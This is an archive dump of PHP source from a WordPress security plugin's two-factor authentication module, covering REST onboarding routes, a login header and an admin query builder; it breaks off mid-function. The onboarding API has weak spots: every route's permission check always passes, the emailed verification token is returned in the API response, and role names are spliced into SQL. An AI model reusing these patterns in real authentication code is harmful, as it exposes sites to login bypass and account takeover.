		return $name;
	}

	private function verifyAndCreateFolder(): void {
		$upload_dir = wp_upload_dir();
		if ( ! file_exists( $upload_dir['basedir'] . '/' . $this->folderName ) ) {
			$this->createFolder();
		}
	}

	public function createFolder(): void {
		$upload_dir  = wp_upload_dir();
		$folder_path = $upload_dir['basedir'] . '/' . $this->folderName;

		if ( ! file_exists( $folder_path ) && is_writable($upload_dir['basedir'] ) ) {
			if ( ! mkdir( $folder_path, 0755, true ) && ! is_dir( $folder_path ) ) {
				$this->log( sprintf( 'Really Simple Security: Directory "%s" was not created', $folder_path ) );
			}
		}
	}

	/**
	 * Creates a new folder name and saves it in the settings
	 *
	 * @return string
	 */
	public static function getFolderName(): string
	{
		return (new Rsssl_Folder_Name())->folderName;
	}
}really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php000064400000044126147510273070024546 0ustar00<?php
/**
 * Handles the API routes for the two-factor authentication onboarding process.
 * This class is responsible for handling the API routes for the two-factor authentication onboarding process.
 * It registers the routes and handles the requests.
 *
 * @package REALLY_SIMPLE_SSL
 * @subpackage Security\WordPress\Two_Fa
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use Exception;
use WP_REST_Request;
use WP_REST_Response;
use WP_User;

/**
 * Registers API routes for the application.
 * This class is responsible for registering the API routes for the two-factor authentication onboarding process.
 * It registers the routes and handles the requests.
 *
 * @package REALLY_SIMPLE_SSL
 * @subpackage Security\WordPress\Two_Fa
 */
class Rsssl_Two_Factor_On_Board_Api {

	/**
	 * The namespace for the API routes.
	 *
	 * @package reallysimplessl/v1/two_fa
	 */
	public const NAMESPACE = 'reallysimplessl/v1/two_fa';

	/**
	 * Initializes the object and registers API routes.
	 *
	 * @return void
	 */
	public function __construct() {
		add_action( 'rest_api_init', array( $this, 'register_api_routes' ) );
	}

	/**
	 * Checks if the requested namespace matches our specific namespace and bypasses authentication.
	 *
	 * @param WP_REST_Request $request The REST request object.
	 */
	private function check_custom_validation( WP_REST_Request $request ): bool {
		// first check if the $-REQUEST['rest_route'] is set.
		$params = new Rsssl_Request_Parameters( $request );
		if ( ! isset( $params->login_nonce ) ) {
			return false;
		}
		return Rsssl_Two_Fa_Authentication::verify_login_nonce( $params->user_id, $params->login_nonce );
	}

	/**
	 * Verifies a login nonce, gets user by the user id, and returns an error response if any steps fail.
	 *
	 * @param int    $user_id The user ID.
	 * @param string $login_nonce The login nonce.
	 *
	 * @return WP_User|WP_REST_Response
	 */
	private function check_login_and_get_user( int $user_id, string $login_nonce ) {
		if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
			// We throw an error
			wp_die();
		}
		/**
		 * Get the user by the user ID.
		 *
		 * @var WP_User $user
		 */
		$user = get_user_by('id', $user_id);
		if (!$user) {
			throw new Exception('User not found');
		}

		return $user;
	}

	/**
	 * Sets the authentication cookie and returns a success response.
	 *
	 * @param int    $user_id The user ID.
	 * @param string $redirect_to The redirect URL.
	 *
	 * @return WP_REST_Response
	 */
	private function authenticate_and_redirect( int $user_id, string $redirect_to = '' ): WP_REST_Response {
		// Okay checked the provider now authenticate the user.
		wp_set_auth_cookie( $user_id, true );
		// Finally redirect the user to the redirect_to page or to the home page if the redirect_to is not set.
		$redirect_to = $redirect_to ?: home_url();
		return new WP_REST_Response( array( 'redirect_to' => $redirect_to ), 200 );
	}

    /**
     * Starts the process of email validation for a user.
     *
     * @param int $user_id The ID of the user for whom the email validation process needs to be started.
     * @param string $redirect_to The URL to redirect the user after the email validation process. Default is an empty string.
     *
     * @return WP_REST_Response The REST response object.
     */
    private function start_email_validation(int $user_id, string $redirect_to = '', $profile = false): WP_REST_Response
    {
        $redirect_to = $redirect_to ?: home_url();
        $user = get_user_by('id', $user_id);
        // Sending the email with the code.
        Rsssl_Two_Factor_Email::get_instance()->generate_and_email_token($user, $profile);
        $token = get_user_meta( $user_id, Rsssl_Two_Factor_Email::RSSSL_TOKEN_META_KEY, true );
        if ( $redirect_to === 'profile') {
            return new WP_REST_Response( array( 'token' => $token,  'validation_action' => 'validate_email_setup' ), 200 );
        }
        return new WP_REST_Response( array( 'token' => $token, 'redirect_to' => $redirect_to, 'validation_action' => 'validate_email_setup' ), 200 );
    }

	/**
	 * Sets the user provider as email and redirects the user to the specified page.
	 *
	 * @param WP_REST_Request $request The REST request object.
	 *
	 * @return WP_REST_Response The REST response object if user is not logged in or provider is invalid.
	 */
	public function set_as_email( WP_REST_Request $request ): WP_REST_Response {
		$parameters = new Rsssl_Request_Parameters($request);
		try {
			$this->check_login_and_get_user($parameters->user_id, $parameters->login_nonce);
		} catch (Exception $e) {
			return new WP_REST_Response(['error' => $e->getMessage()], 403);
		}
		if ('email' !== $parameters->provider) {
			return new WP_REST_Response(['error' => 'Invalid provider'], 401);
		}

		return $this->start_email_validation($parameters->user_id, $parameters->redirect_to, $parameters->profile);
	}

    /**
     * Sets the profile email for a user.
     *
     * @param WP_REST_Request $request The REST request object.
     *
     * @return WP_REST_Response The REST response object.
     */
    public function set_profile_email(WP_REST_Request $request ): WP_REST_Response {
	    $parameters = new Rsssl_Request_Parameters($request);
	    try {
		    $this->check_login_and_get_user($parameters->user_id, $parameters->login_nonce);
	    } catch (Exception $e) {
		    return new WP_REST_Response(['error' => $e->getMessage()], 403);
	    }
	    if ('email' !== $parameters->provider) {
		    return new WP_REST_Response(['error' => 'Invalid provider'], 401);
	    }

	    return $this->start_email_validation($parameters->user_id, $parameters->redirect_to, $parameters->profile);
    }

    /**
     * Validates the email setup for a user.
     *
     * @param WP_REST_Request $request The REST request object.
     *
     * @return WP_REST_Response The REST response object.
     */
    public function validate_email_setup(WP_REST_Request $request ): WP_REST_Response {
	    $parameters = new Rsssl_Request_Parameters($request);

	    if ('email' !== $parameters->provider) {
		    return new WP_REST_Response(['error' => 'Invalid provider'], 401);
	    }

	    if (!Rsssl_Two_Factor_Email::get_instance()->validate_token($parameters->user_id, self::sanitize_token($parameters->token))) {
		    Rsssl_Two_Factor_Email::set_user_status($parameters->user_id, 'open');
		    Rsssl_Two_Factor_Totp::set_user_status($parameters->user_id, 'open');
		    wp_logout();
		    return new WP_REST_Response(['error' => __('Code was invalid, try "Resend Code"', 'really-simple.ssl-pro')], 401);
	    }

	    Rsssl_Two_Factor_Email::set_user_status($parameters->user_id, 'active');
	    Rsssl_Two_Factor_Totp::set_user_status($parameters->user_id, 'disabled');
	    self::set_other_providers_inactive($parameters->user_id, 'email');

	    return $this->authenticate_and_redirect($parameters->user_id, $parameters->redirect_to);
    }

    /**
     * Resends the email code for a user.
     *
     * @param WP_REST_Request $request The REST request object.
     *
     * @return WP_REST_Response The REST response object.
     */
    public function resend_email_code( WP_REST_Request $request ): WP_REST_Response {
       $parameters = new Rsssl_Request_Parameters( $request );
        Rsssl_Two_Factor_Email::get_instance()->generate_and_email_token($parameters->user, $parameters->profile);
        return new WP_REST_Response( array( 'message' => __('A verification code has been sent to the email address associated with your account to verify functionality.', 'really-simple.ssl-pro') ), 200 );
    }

	/**
	 * Verifies the 2FA code for TOTP.
	 *
	 * @param WP_REST_Request $request The REST request object.
	 *
	 * @return WP_REST_Response The REST response object.
	 */
	public function verify_2fa_code_totp( WP_REST_Request $request ): WP_REST_Response {
		$parameters = new Rsssl_Request_Parameters( $request );
		$user       = $this->check_login_and_get_user( $parameters->user_id, $parameters->login_nonce );
		// Check if the provider.
		if ( 'totp' !== $parameters->provider ) {
			$response = new WP_REST_Response( array( 'error' => __('Invalid provider', 'really-simple-ssl') ), 400 );
		}

        //This is an extra check so someone who thinks to use backup codes can't use them.
        $code_backup = Rsssl_Two_Factor_Backup_Codes::sanitize_code_from_request( 'authcode', 8 );
        if ( $code_backup && Rsssl_Two_Factor_Backup_Codes::validate_code( $user, $code_backup, false ) ) {
            $error_message = __('Invalid Two Factor Authentication code.', 'really-simple-ssl');
            return new WP_REST_Response( array( 'error' => $error_message ), 400 );
        }

		if ( Rsssl_Two_Factor_Totp::setup_totp( $user, $parameters->key, $parameters->code ) ) {
			Rsssl_Two_Factor_Totp::set_user_status( $user->ID, 'active' );
			Rsssl_Two_Factor_Email::set_user_status( $user->ID, 'disabled' );
			// Mark all other statuses as inactive.
			self::set_other_providers_inactive( $user->ID, 'totp' );
			// Finally we redirect the user to the redirect_to page.
			return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
		}

        // We get the error message from the setup_totp function.
        $error_message = get_transient( 'rsssl_error_message_' . $user->ID );
        // We delete the transient.
        delete_transient( 'rsssl_error_message_' . $user->ID );
        return  new WP_REST_Response( array( 'error' => $error_message ), 400 );
	}

	/**
	 * Disables two-factor authentication for the user.
	 *
	 * @param WP_REST_Request $request The REST request object.
	 *
	 * @return WP_REST_Response The REST response object.
	 */
	public function disable_two_fa_for_user( WP_REST_Request $request ): WP_REST_Response {
		$parameters = new Rsssl_Request_Parameters($request);
		try {
			$user = $this->check_login_and_get_user($parameters->user_id, $parameters->login_nonce);
		} catch (Exception $e) {
			return new WP_REST_Response(['error' => $e->getMessage()], 403);
		}

		$user_available_providers = Rsssl_Provider_Loader::get_providers();
		foreach ($user_available_providers as $provider) {
			$provider::set_user_status($user->ID, 'disabled');
		}

		return $this->authenticate_and_redirect($parameters->user_id, $parameters->redirect_to);
	}

	/**
	 * Skips the onboarding process for the user.
	 *
	 * @param WP_REST_Request $request The REST request object.
	 *
	 * @return WP_REST_Response The REST response object.
	 */
	public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
		$parameters = new Rsssl_Request_Parameters( $request );
		// As a double we check the user_id with the login nonce.
		try {
			$this->check_login_and_get_user($parameters->user_id, $parameters->login_nonce);
		} catch (Exception $e) {
			return new WP_REST_Response(['error' => $e->getMessage()], 403);
		}
		return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
	}

	/**
	 * Registers API routes for the application.
	 */
	public function register_api_routes(): void {
		register_rest_route(
			self::NAMESPACE,
			'/save_default_method_email',
			array(
				'methods'             => 'POST',
				'callback'            => array( $this, 'set_as_email' ),
				'permission_callback' => function ( WP_REST_Request $request ) {
					return true;  // Allow all requests; handle auth in the callback.
				},
				'args'                => array(
					'provider'    => array(
						'required' => true,
						'type'     => 'string',
					),
					'user_id'     => array(
						'required' => true,
						'type'     => 'integer',
					),
					'login_nonce' => array(
						'required' => true,
						'type'     => 'string',
					),
				),
			)
		);

        register_rest_route(
            self::NAMESPACE,
            '/save_default_method_email_profile',
            array(
                'methods'             => 'POST',
                'callback'            => array( $this, 'set_profile_email' ),
                'permission_callback' => function ( WP_REST_Request $request ) {
                    return true;  // Allow all requests; handle auth in the callback.
                },
                'args'                => array(
                    'provider'    => array(
                        'required' => true,
                        'type'     => 'string',
                    ),
                    'user_id'     => array(
                        'required' => true,
                        'type'     => 'integer',
                    ),
                    'login_nonce' => array(
                        'required' => true,
                        'type'     => 'string',
                    ),
                ),
            )
        );

        register_rest_route(
            self::NAMESPACE,
            '/validate_email_setup',
            array(
                'methods' => 'POST',
                'callback' => array( $this, 'validate_email_setup' ),
                'permission_callback' => function ( WP_REST_Request $request ) {
                    return true;  // Allow all requests; handle auth in the callback.
                },
                'args' => array(
                    'provider' => array(
                        'required' => true,
                        'type' => 'string',
                    ),
                    'user_id' => array(
                        'required' => true,
                        'type' => 'integer',
                    ),
                    'login_nonce' => array(
                        'required' => true,
                        'type' => 'string',
                    ),
                    'redirect_to' => array(
                        'required' => false,
                        'type' => 'string',
                    ),
                    'token' => array(
                        'required' => true,
                        'type' => 'string',
                    ),
                ),
            )
        );

        register_rest_route(
            self::NAMESPACE,
            '/resend_email_code',
            array(
                'methods' => 'POST',
                'callback' => array( $this, 'resend_email_code' ),
                'permission_callback' => function ( WP_REST_Request $request ) {
                    return true;  // Allow all requests; handle auth in the callback.
                },
                'args' => array(
                    'provider' => array(
                        'required' => true,
                        'type' => 'string',
                    ),
                    'user_id' => array(
                        'required' => true,
                        'type' => 'integer',
                    ),
                    'login_nonce' => array(
                        'required' => true,
                        'type' => 'string',
                    ),
                ),
            )
        );

		register_rest_route(
			self::NAMESPACE,
			'/save_default_method_totp',
			array(
				'methods'             => 'POST',
				'callback'            => array( $this, 'verify_2fa_code_totp' ),
				'permission_callback' => function ( WP_REST_Request $request ) {
					return true;  // Allow all requests; handle auth in the callback.
				},
				'args'                => array(
					'two-factor-totp-authcode' => array(
						'required' => true,
						'type'     => 'string',
					),
					'provider'                 => array(
						'required' => true,
						'type'     => 'string',
					),
					'key'                      => array(
						'required' => true,
						'type'     => 'string',
					),
					'redirect_to'              => array(
						'required' => false,
						'type'     => 'string',
					),
				),
			)
		);

		register_rest_route(
			self::NAMESPACE,
			'do_not_ask_again',
			array(
				'methods'             => 'POST',
				'callback'            => array( $this, 'disable_two_fa_for_user' ),
				'permission_callback' => function ( WP_REST_Request $request ) {
					return true;  // Allow all requests; handle auth in the callback.
				},
				'args'                => array(
					'redirect_to' => array(
						'required' => false,
						'type'     => 'string',
					),
					'user_id'     => array(
						'required' => true,
						'type'     => 'integer',
					),
					'login_nonce' => array(
						'required' => true,
						'type'     => 'string',
					),
				),
			)
		);

		register_rest_route(
			self::NAMESPACE,
			'skip_onboarding',
			array(
				'methods'             => 'POST',
				'callback'            => array( $this, 'skip_onboarding' ),
				'permission_callback' => '__return_true',
				'args'                => array(
					'redirect_to' => array(
						'required' => false,
						'type'     => 'string',
					),
					'user_id'     => array(
						'required' => true,
						'type'     => 'integer',
					),
					'login_nonce' => array(
						'required' => true,
						'type'     => 'string',
					),
				),
			)
		);
	}

	/**
	 * Sets all other providers to inactive.
	 *
	 * @param  int    $id  The user ID.
	 * @param  string $allowed_method  The allowed method.
	 *
	 * @return void
	 */
	public static function set_other_providers_inactive( int $id, string $allowed_method ): void {
		// First we get all the available providers for the user.
		// We get the user from the id.
		$user_available_providers = Rsssl_Provider_Loader::get_enabled_providers_for_user( get_user_by( 'id', $id ) );
		foreach ( $user_available_providers as $provider ) {
			$namespace_parts = explode( '\\', $provider );
			$last_key        = end( $namespace_parts );
			// we explode the last key to get the provider name.
			$provider_name = explode( '_', $last_key );
			$provider_name = end( $provider_name );
			if ( ucfirst( $allowed_method ) !== $provider_name ) {
				$provider::set_user_status( $id, 'disabled' );
			}
		}
	}

    /**
     * Sanitizes a token.
     *
     * @param string $token The token to sanitize.
     * @param int $length The expected length of the token. Default is 0.
     *
     * @return string|false The sanitized token, or false if the length is invalid.
     */
    public static function sanitize_token(string $token, int $length = 0 ) {
        $code = wp_unslash( $token );
        $code = preg_replace( '/\s+/', '', $code );

        // Maybe validate the length.
        if ( $length && strlen( $code ) !== $length ) {
            return false;
        }

        return (string) $code;
    }
}
really-simple-ssl/security/wordpress/two-fa/function-login-header.php000064400000017026147510273070022124 0ustar00<?php
/**
 * Extracted from wp-login.php since that file also loads WP core which already have.
 *
 * @package REALLY_SIMPLE_SSL
 */

/**
 * Output the login page header.
 *
 * @param string        $title    Optional. WordPress login Page title to display in the `<title>` element.
 *                                Default 'Log In'.
 * @param string        $message  Optional. Message to display in header. Default empty.
 * @param WP_Error|null $wp_error Optional. The error to pass. Default is a WP_Error instance.
 *
 * @global string      $action        The action that brought the visitor to the login page.
 *
 * @since 2.1.0
 *
 * @global string $error         Login error message set by deprecated pluggable wp_login() function
 *                                    or plugins replacing it.
 * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
 *                                    upon successful login.
 */
function login_header( string $title = 'Log In', string $message = '', WP_Error $wp_error = null ) {
	global $error, $interim_login, $action;

	// Don't index any of these forms.
	add_filter( 'wp_robots', 'wp_robots_sensitive_page' );
	add_action( 'login_head', 'wp_strict_cross_origin_referrer' );

	add_action( 'login_head', 'wp_login_viewport_meta' );

	if ( ! is_wp_error( $wp_error ) ) {
		$wp_error = new WP_Error();
	}

	// Shake it!
	$shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' );
	/**
	 * Filters the error codes array for shaking the login form.
	 *
	 * @since 3.0.0
	 *
	 * @param array $shake_error_codes Error codes that shake the login form.
	 */
	$shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );

	if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) {
		add_action( 'login_footer', 'wp_shake_js', 12 );
	}

	$login_title = get_bloginfo( 'name', 'display' );

	/* translators: Login screen title. 1: Login screen name, 2: Network or site name. */
	$login_title = sprintf( __( '%1$s &lsaquo; %2$s &#8212; WordPress' ), $title, $login_title );

	if ( wp_is_recovery_mode() ) {
		/* translators: %s: Login screen title. */
		$login_title = sprintf( __( 'Recovery Mode &#8212; %s' ), $login_title );
	}

	/**
	 * Filters the title tag content for login page.
	 *
	 * @since 4.9.0
	 *
	 * @param string $login_title The page title, with extra context added.
	 * @param string $title       The original page title.
	 */
	$login_title = apply_filters( 'login_title', $login_title, $title );

	?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
	<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php bloginfo( 'charset' ); ?>" />
	<title><?php echo esc_html( $login_title ); ?></title>
	<?php

	wp_enqueue_style( 'login' );

	/*
	 * Remove all stored post data on logging out.
	 * This could be added by add_action('login_head'...) like wp_shake_js(),
	 * but maybe better if it's not removable by plugins.
	 */
	if ( 'loggedout' === $wp_error->get_error_code() ) {
		?>
		<script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script>
		<?php
	}

	/**
	 * Enqueue scripts and styles for the login page.
	 *
	 * @since 3.1.0
	 */
	do_action( 'login_enqueue_scripts' );

	/**
	 * Fires in the login page header after scripts are enqueued.
	 *
	 * @since 2.1.0
	 */
	do_action( 'login_head' );

	$login_header_url = __( 'https://wordpress.org/' );

	/**
	 * Filters link URL of the header logo above login form.
	 *
	 * @since 2.1.0
	 *
	 * @param string $login_header_url Login header logo URL.
	 */
	$login_header_url = apply_filters( 'login_headerurl', $login_header_url );

	$login_header_title = '';

	/**
	 * Filters the title attribute of the header logo above login form.
	 *
	 * @since 2.1.0
	 * @deprecated 5.2.0 Use {@see 'login_headertext'} instead.
	 *
	 * @param string $login_header_title Login header logo title attribute.
	 */
	$login_header_title = apply_filters_deprecated(
		'login_headertitle',
		array( $login_header_title ),
		'5.2.0',
		'login_headertext',
		__( 'Usage of the title attribute on the login logo is not recommended for accessibility reasons. Use the link text instead.' )
	);

	$login_header_text = empty( $login_header_title ) ? __( 'Powered by WordPress' ) : $login_header_title;

	/**
	 * Filters the link text of the header logo above the login form.
	 *
	 * @since 5.2.0
	 *
	 * @param string $login_header_text The login header logo link text.
	 */
	$login_header_text = apply_filters( 'login_headertext', $login_header_text );

	$classes = array( 'login-action-' . $action, 'wp-core-ui' );

	if ( is_rtl() ) {
		$classes[] = 'rtl';
	}

	if ( $interim_login ) {
		$classes[] = 'interim-login';

		?>
		<style type="text/css">html{background-color: transparent;}</style>
		<?php

		if ( 'success' === $interim_login ) {
			$classes[] = 'interim-login-success';
		}
	}

	$classes[] = ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );

	/**
	 * Filters the login page body classes.
	 *
	 * @since 3.5.0
	 *
	 * @param array  $classes An array of body classes.
	 * @param string $action  The action that brought the visitor to the login page.
	 */
	$classes = apply_filters( 'login_body_class', $classes, $action );

	?>
</head>
<body class="login no-js <?php echo esc_attr( implode( ' ', $classes ) ); ?>">
<script type="text/javascript">
	document.body.className = document.body.className.replace('no-js','js');
</script>
	<?php
	/**
	 * Fires in the login page header after the body tag is opened.
	 *
	 * @since 4.6.0
	 */
	do_action( 'login_header' );

	?>
<div id="login">
	<h1><a href="<?php echo esc_url( $login_header_url ); ?>"><?php echo esc_html( $login_header_text ); ?></a></h1>
	<?php
	/**
	 * Filters the message to display above the login form.
	 *
	 * @since 2.1.0
	 *
	 * @param string $message Login message text.
	 */
	$message = apply_filters( 'login_message', $message );

	if ( ! empty( $message ) ) {
		echo esc_html( $message ) . "\n";
	}

	// In case a plugin uses $error rather than the $wp_errors object.
	if ( ! empty( $error ) ) {
		$wp_error->add( 'error', $error );
		unset( $error );
	}

	if ( $wp_error->has_errors() ) {
		$errors   = '';
		$messages = '';

		foreach ( $wp_error->get_error_codes() as $code ) {
			$severity = $wp_error->get_error_data( $code );
			foreach ( $wp_error->get_error_messages( $code ) as $error_message ) {
				if ( 'message' === $severity ) {
					$messages .= '	' . $error_message . "<br />\n";
				} else {
					$errors .= '	' . $error_message . "<br />\n";
				}
			}
		}

		if ( ! empty( $errors ) ) {
			/**
			 * Filters the error messages displayed above the login form.
			 *
			 * @since 2.1.0
			 *
			 * @param string $errors Login error message.
			 */
			echo '<div id="login_error">' . esc_html( apply_filters( 'login_errors', $errors ) ) . "</div>\n";
		}

		if ( ! empty( $messages ) ) {
			/**
			 * Filters instructional messages displayed above the login form.
			 *
			 * @since 2.5.0
			 *
			 * @param string $messages Login messages.
			 */
			echo '<p class="message">' . esc_html( apply_filters( 'login_messages', $messages ) ) . "</p>\n";
		}
	}
} // End of login_header().

	/**
	 * Outputs the viewport meta tag for the login page.
	 *
	 * @since 3.7.0
	 */
function wp_login_viewport_meta() {
	?>
	<meta name="viewport" content="width=device-width" />
	<?php
}really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-admin.php000064400000053721147510273070023367 0ustar00<?php
/**
 * This file contains the Rsssl_Two_Factor_Admin class.
 *
 * The Rsssl_Two_Factor_Admin class is responsible for handling the administrative
 * aspects of the two-factor authentication feature in the Really Simple SSL plugin.
 * It includes methods for displaying the two-factor authentication settings in the
 * admin area, handling user input, and managing user roles and capabilities related
 * to two-factor authentication.
 *
 * PHP version 7.2
 *
 * @category   Security
 * @package Really_Simple_SSL
 * @author Really Simple SSL
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use WP_User;

/**
 * The Rsssl_Two_Factor_Admin class is responsible for handling the administrative
 * aspects of the two-factor authentication feature in the Really Simple SSL plugin.
 * It includes methods for displaying the two-factor authentication settings in the
 * admin area, handling user input, and managing user roles and capabilities related
 * to two-factor authentication.
 *
 * @category   Security
 * @package Really_Simple_SSL
 * @subpackage Two_Factor
 */
class Rsssl_Two_Factor_Admin
{
    /**
     * The Rsssl_Two_Factor_Admin instance.
     *
     * @var Rsssl_Two_Factor_Settings $instance The settings object.
     */
    private static $instance;

    /**
     * The constructor.
     *
     * @return void
     */
    public function __construct()
    {
        // if the user is not logged in, it don't need to do anything.
        if (!rsssl_admin_logged_in()) {
            return;
        }
        if (isset(self::$instance)) {
            wp_die();
        }
        self::$instance = $this;
        add_filter('rsssl_do_action', array($this, 'two_fa_table'), 10, 3);
        add_filter('rsssl_after_save_field', array($this, 'maybe_reset_two_fa'), 20, 2);
        add_filter('rsssl_after_save_field', array($this, 'change_disabled_users_when_forced'), 20, 3);
	    add_action('process_user_batch_event', [$this, 'process_user_batch'], 10 , 5);

    }

	/**
	 * Handles server-side processing for two-factor authentication data.
	 *
	 * @param Rsssl_Two_FA_Data_Parameters $data_parameters The data parameters for the request.
	 *
	 * @return array The response array containing the request success status, data, total records, and executed query.
	 */
	private function server_side_handler(Rsssl_Two_FA_Data_Parameters $data_parameters): array {
		global $wpdb;

		$days_threshold = rsssl_get_option('two_fa_grace_period', 30);
		$filter_value = $data_parameters->filter_value;

		$enabled_roles = array_unique(array_merge(
			defined('rsssl_pro') ? rsssl_get_option('two_fa_enabled_roles_totp', array()) : array(),
			rsssl_get_option('two_fa_enabled_roles_email', array())
		));

		$forced_roles = rsssl_get_option('two_fa_forced_roles', array());

		$fields = ['id', 'user', 'status_for_user', 'rsssl_two_fa_providers', 'user_role']; // Example fields
		$enabled_roles_placeholders = implode(',', array_map(function($role) { return "'$role'"; }, $enabled_roles));
		$forced_roles_placeholder = implode(',', array_map(function($role) { return "'$role'"; }, $forced_roles));
		$query = self::generate_query($fields, $enabled_roles_placeholders, $forced_roles_placeholder, $forced_roles);

		if ($filter_value !== 'all') {
			$query .= $wpdb->prepare(" HAVING status_for_user = %s", $filter_value);
		}
		$prepared_query = $wpdb->prepare($query, array_merge(
		// Use array_map to generate the thresholds for each forced role
			array_fill(0, count($forced_roles), $days_threshold)
		));

		// only execute query if there are enabled roles to show
		if (empty($enabled_roles)) {
			return array(
				'request_success' => true,
				'data' => [],
				'totalRecords' => 0,
			);
		}

		$results = $wpdb->get_results($prepared_query);

		return array(
			'request_success' => true,
			'data' => is_array($results) ? array_values($results) : [],
			'totalRecords' => is_array($results) ? count($results) : 0,
//			'executed_query' => $prepared_query,
		);
	}

	/**
	 * Generates the SELECT clause for the SQL query.
	 *
	 * @param array $fields The fields to include in the SELECT clause.
	 * @return string The generated SELECT clause.
	 */
	public static function generate_select_clause(array $fields, array $forced_roles): string
	{
		$select_parts = [];

		if ( in_array( 'id', $fields, true ) ) {
			$select_parts[] = 'DISTINCT (u.ID) as id';
		}

		if ( in_array( 'user', $fields, true ) ) {
			$select_parts[] = 'u.user_login as user';
		}

		// Status for User Field
		if (in_array('status_for_user', $fields, true)) {
			// Create placeholders for forced roles
			$forced_roles_placeholders = implode(',', array_fill(0, count($forced_roles), '%s'));

			// Check if forced_roles is empty or not
			if (empty($forced_roles_placeholders)) {
				// No forced roles, basic status handling
				$select_parts[] = "
                CASE
                    WHEN COALESCE(um_totp.meta_value, 'open') = 'open' OR COALESCE(um_email.meta_value, 'open') = 'open' THEN 'open'
                    WHEN COALESCE(um_totp.meta_value, 'disabled') = 'active' OR COALESCE(um_email.meta_value, 'disabled') = 'active' THEN 'active'
                    ELSE COALESCE(um_totp.meta_value, um_email.meta_value)
                END AS status_for_user
            ";
			} else {
				// Initialize the CASE statement parts for status_for_user
				$status_cases = [];

				// First condition: Check if TOTP or Email is active (this is common for all roles)
				$status_cases[] = "WHEN COALESCE(um_totp.meta_value, 'disabled') = 'active' OR COALESCE(um_email.meta_value, 'disabled') = 'active' THEN 'active'";

				// Loop through forced roles and apply expiration logic
				foreach ($forced_roles as $role) {
					// Check if an expiration threshold is defined for the current role
						$status_cases[] = "WHEN SUBSTRING_INDEX(SUBSTRING_INDEX(ur.meta_value, '\"', 2), '\"', -1) = '$role'
                                   AND DATEDIFF(NOW(), um_last_login.meta_value) > %d THEN 'expired'";
				}

				// Fallback: If no other conditions match, default to 'open'
				$status_cases[] = "ELSE COALESCE(um_totp.meta_value, um_email.meta_value, 'open')";

				// Combine the conditions into a CASE clause
				$select_parts[] = "CASE " . implode(' ', $status_cases) . " END AS status_for_user";
			}
		}

		if ( in_array( 'user_role', $fields, true ) ) {
			$select_parts[] = "SUBSTRING_INDEX(SUBSTRING_INDEX(ur.meta_value, '\"', 2), '\"', -1) AS user_role";
		}

		if ( in_array( 'rsssl_two_fa_providers', $fields, true ) ) {
			$select_parts[] = "
            CASE
                WHEN COALESCE(um_totp.meta_value, um_email.meta_value, 'open') = 'open' THEN ''
                WHEN um_totp.meta_value = 'active' THEN 'totp'
                WHEN um_email.meta_value = 'active' THEN 'email'
                ELSE 'none'
            END AS rsssl_two_fa_providers
        ";
		}

		return implode(', ', $select_parts);
	}

	/**
	 * Generates the full SQL query.
	 *
	 * @param array $fields The fields to include in the SELECT clause.
	 * @param string $enabled_roles_placeholders The placeholders for enabled roles.
	 * @param string|null $forced_roles_placeholder The placeholders for forced roles.
	 * @return string The generated SQL query.
	 */
	public static function generate_query(array $fields, string $enabled_roles_placeholders, string $forced_roles_placeholder = '', $forced_roles = array() ): string
	{
	    global $wpdb;

	    $select_clause = self::generate_select_clause($fields, $forced_roles);

	    $where_clause = "SUBSTRING_INDEX(SUBSTRING_INDEX(ur.meta_value, '\"', 2), '\"', -1) in ($enabled_roles_placeholders)";
//	    if (!empty($forced_roles_placeholder)) {
//	        $where_clause = "SUBSTRING_INDEX(SUBSTRING_INDEX(ur.meta_value, '\"', 2), '\"', -1) in ($forced_roles_placeholder)";
//	    }

	    $sql = "
	        SELECT $select_clause
	        FROM {$wpdb->users} u
	        LEFT JOIN {$wpdb->usermeta} um_totp ON u.ID = um_totp.user_id AND um_totp.meta_key = 'rsssl_two_fa_status_totp'
	        LEFT JOIN {$wpdb->usermeta} um_email ON u.ID = um_email.user_id AND um_email.meta_key = 'rsssl_two_fa_status_email'
	            ";
		if (is_multisite()) {
			$sites = get_sites();
			$conditions = [];
			foreach ($sites as $site) {
				$conditions[] = "ur.meta_key = '{$wpdb->get_blog_prefix($site->blog_id)}capabilities'";
			}
			$sql .= "LEFT JOIN {$wpdb->usermeta} ur ON u.ID = ur.user_id AND (" . implode(' OR ', $conditions) . ")";
		} else {
			$sql .= "LEFT JOIN {$wpdb->usermeta} ur ON u.ID = ur.user_id AND ur.meta_key = '{$wpdb->base_prefix}capabilities'";
		}


	    $sql .="LEFT JOIN {$wpdb->usermeta} la ON u.ID = la.user_id AND la.meta_key = 'rsssl_two_fa_login_action'
	        LEFT JOIN {$wpdb->usermeta} um_last_login ON u.ID = um_last_login.user_id AND um_last_login.meta_key = 'rsssl_two_fa_last_login'
	        WHERE $where_clause
	    ";

			return $sql;
	}

    private static function user_count(): ?string {
        global $wpdb;
        return $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->users");
    }

	/**
	 * Change the disabled status of users when forced.
	 *
	 * @param string $field_id The ID of the field being changed.
	 * @param mixed $new_value The new value of the field.
	 *
	 * @return void
	 */
	public function change_disabled_users_when_forced( string $field_id, $new_value, $prev_value = [] ): void
	{
		if ('two_fa_forced_roles' === $field_id && !empty($new_value)) {
			global $wpdb;
			$forced_roles = $new_value;
			if (empty($prev_value)) {
				$prev_value = [];
			}
